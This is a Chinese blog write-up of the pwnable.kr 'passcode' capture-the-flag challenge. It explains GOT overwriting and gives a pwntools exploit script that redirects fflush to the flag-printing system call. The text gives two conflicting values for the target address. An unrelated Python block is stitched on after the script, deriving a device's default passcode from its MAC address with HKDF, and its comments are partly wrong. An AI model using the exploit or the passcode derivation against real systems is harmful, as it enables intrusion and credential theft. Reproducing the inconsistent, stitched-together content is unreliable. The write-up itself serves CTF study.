pwnable.kr-passcode WP

本文介绍了一种利用GOT表覆写技术攻击名为'Toddler's Secure Login System'的程序的方法。通过详细分析程序源码及运行流程,找到了绕过正常认证逻辑获取flag的漏洞利用途径。

首先用ssh连进去,一个可执行文件,一个源码文件,一个flag文件,先执行passcode程序,让你输入name,passcode1,passcode2,如图。

我们先用scp命令把文件拷贝下来,scp -P2222 passcode@pwnable.kr:passcode . ,注意后面有一个点,表示拷贝到当前目录的意思。然后看一下源码

#include <stdio.h>
#include <stdlib.h>

void login(){
    int passcode1;
    int passcode2;

    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);

    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
    scanf("%d", passcode2);

    printf("checking...\n");
    if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
        exit(0);
        }
}

void welcome(){
    char name[100];
    printf("enter you name : ");
    scanf("%100s", name);
    printf("Welcome %s!\n", name);
}

int main(){
    printf("Toddler's Secure Login System 1.0 beta.\n");

    welcome();
    login();

    // something after login...
    printf("Now I can safely trust you that you have credential :)\n");
    return 0;
}

main函数里连续调用了两个函数,welcome()和login(),welcome()函数有一个100字节的buffer,让你输入name的值。login()函数中定义了两个整数变量passcode1和passcode2,并且让你输入对应的值。后面有一个判断语句,如果passcode1==338150 && passcode2==13371337 ,就获得flag。逻辑上是这么回事,但是刚才运行发现输入了name和passcode1后,程序就直接结束了,没给你输入passcode2的机会。

回过头来再仔细看一下源码,注意这里的scanf("%d", passcode1);,scanf的参数要求传入指针,而passcode1前面是没有取地址运算符&的,所以说他会把passcode1的值当成地址,将你传入的值(你要输入的passcode1)写入到地址为“passcode1的值”的地方,而这个passcode1是未初始化的,所以我们也不知道他会将你的值写入到哪,一般情况下会出现错误而崩溃。

当我们用file命令查看passcode这个文件时,它显示的是动态链接的,关于动态链接,这里补充一些知识点。

GOT表:

概念:每一个外部定义的符号在全局偏移表(Global offset Table)中有相应的条目,GOT位于ELF的数据段中,叫做GOT段。

作用:把位置无关的地址计算重定位到一个绝对地址。程序首次调用某个库函数时,运行时连接编辑器(rtld)找到相应的符号,并将它重定位到GOT之后每次调用这个函数都会将控制权直接转向那个位置,而不再调用rtld。

PLT表:

过程连接表(Procedure Linkage Table),一个PLT条目对应一个GOT条目

当main()函数开始,会请求plt中这个函数的对应GOT地址,如果第一次调用那么GOT会重定位到plt,并向栈中压入一个偏移,程序的执行回到_init()函数,rtld得以调用就可以定位printf的符号地址,第二次运行程序再次调用这个函数时程序跳入plt,对应的GOT入口点就是真实的函数入口地址。

动态连接器并不会把动态库函数在编译的时候就包含到ELF文件中,仅仅是在这个ELF被加载的时候,才会把那些动态函库数代码加载进来,之前系统只会在ELF文件中的GOT中保留一个调用地址.

GOT覆写技术:

原理:由于GOT表是可写的,把其中的函数地址覆盖为我们shellcode地址,在程序进行调用这个函数时就会执行shellcode。

以上关于GOT表、PLT表、GOT覆写技术知识点来源于(http://jing0107.lofter.com/post/1cbc869f_8b3d8a5) ,这道题就是用的GOT覆写技术。

通过调试发现,welcome()函数和login()函数的ebp是同一个,并且通过IDA可以知道name的地址为ebp-70h,passcode1的地址为ebp-10h,他们之间差了60h也就是96个字节,而name为100个字节的buffer,passcode1为4个字节的int,所以说可以用name的值的最后四位覆盖passcode1。





我们注意到有些函数后面会有@plt字样,如图所示

这些函数都是需要定位到GOT表中才能找到函数的绝对地址,如果我们将fflush函数在GOT表中的地址写入到name的最后四个字节中,那么passcode1的值就等于fflush函数在GOT表中的地址,这时候在执行到scanf("%d", passcode1);这个语句时,会将你输入的值写入到GOT表中,这时我们传入system("/bin/cat flag");的地址,当程序执行到fflush()函数时,他会将system("/bin/cat flag");的地址当成fflush()函数的地址,就可以获得flag了。

首先找到GOT表中fflush()的位置,可以通过$objdump -R passcode命令或者$readelf -r passcode命令获取GOT表。

找到fflush()在GOT表中的地址,我们需要将地址0x0804a004写入到name的第97-100位,也就是覆盖passcode1的值,然后找到system("/bin/cat flag");的地址0x080485e3,将这个地址传入passcode1所指的地址中,因为scanf是要求%d输入,所以0x080485ea == 134514154。

以下是解题脚本

#!usr/bin/python

from pwn import *
context.log_level = 'debug'  # 这里改了一下,变成设置日志等级,方便查看发送和接收的数据

s = ssh(host='pwnable.kr', user='passcode',port=2222, password='guest')


fflush_got = 0x0804a004

system_addr = 0x80485e3

payload = 'A' * 96 + p32(fflush_got) +str(system_addr)
flag = s.process('/home/passcode/passcode')
flag.sendline(payload)
print flag.recvall()


由于本人也是边学边写,可能有些地方讲的不太清楚,大家有什么问题可以指出来,我会逐渐修改,至于动态链接那部分大家可以去网上搜一下相关知识,以便更深刻的理解。

```python import hashlib import hmac from binascii import hexlify def hkdf_sha256(salt, ikm, info, length=32): """ HKDF-SHA256 实现:从输入密钥材料(ikm)派生指定长度的密钥 RFC 5869 中定义的 HKDF 算法 """ # Extract prk = hmac.new(salt, ikm, hashlib.sha256).digest() # Expand key = b"" counter = 1 while len(key) < length: ctx = key[-32:] if counter > 1 else b"" key += hmac.new(prk, ctx + info + bytes([counter]), hashlib.sha256).digest() counter += 1 return key[:length] # 示例参数(实际使用中需替换为真实值) default_salt = b"0123456789abcdef0123456789ab" # 固定30字节 salt dev_mac = bytes.fromhex("AABBCCDDEEFF") # 示例MAC地址,6字节 # 构造 dev_mac 的位重排:mac[24:47] + mac[0:23] # MAC 地址共48位(6字节),按位操作: mac_bits = ''.join(f'{byte:08b}' for byte in dev_mac) # 转为48位二进制字符串 reordered_mac_bits = mac_bits[24:] + mac_bits[:24] # 切片并重组:后24位 + 前24位 dev_mac_reordered = int(reordered_mac_bits, 2).to_bytes(6, 'big') # 构造 dev_seed = default_salt + dev_mac_reordered (30 + 6 = 36 字节) dev_seed = default_salt + dev_mac_reordered # 定义 HKDF 参数 salt_str = b"tp-kdf-salt-default-passcode" info_str = b"tp-kdf-info-default-passcode" # 计算默认密码 default_passcode = hkdf_sha256(dev_seed, salt_str, info_str, 32) # 转为大写十六进制字符串(64个字符) default_passcode_hex = hexlify(default_passcode).decode().upper() print("Default Passcode:", default_passcode_hex) ``` 上述代码实现了如下流程: - `default_salt` 是一个固定的30字节二进制数据。 - `dev_mac` 是设备的6字节MAC地址,将其转换为48位二进制后,**将高24位与低24位交换位置**,形成新的`dev_mac_reordered`。 - 将 `default_salt` 与重排后的 `dev_mac_reordered` 拼接成 `dev_seed`(36字节)。 - 使用 HKDF-SHA256,以 `dev_seed` 作为 salt,`"tp-kdf-salt-default-passcode"` 作为 IKM,`"tp-kdf-info-default-passcode"` 作为 info,输出32字节密钥。 - 最终结果转为 **大写的64位十六进制字符串**,即默认密码。 一句话简洁总结该生成过程: > 默认密码由固定30字节盐与经24位切分重排的MAC地址拼接成种子,通过HKDF-SHA256派生出32字节密钥并转为大写十六进制字符串生成。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值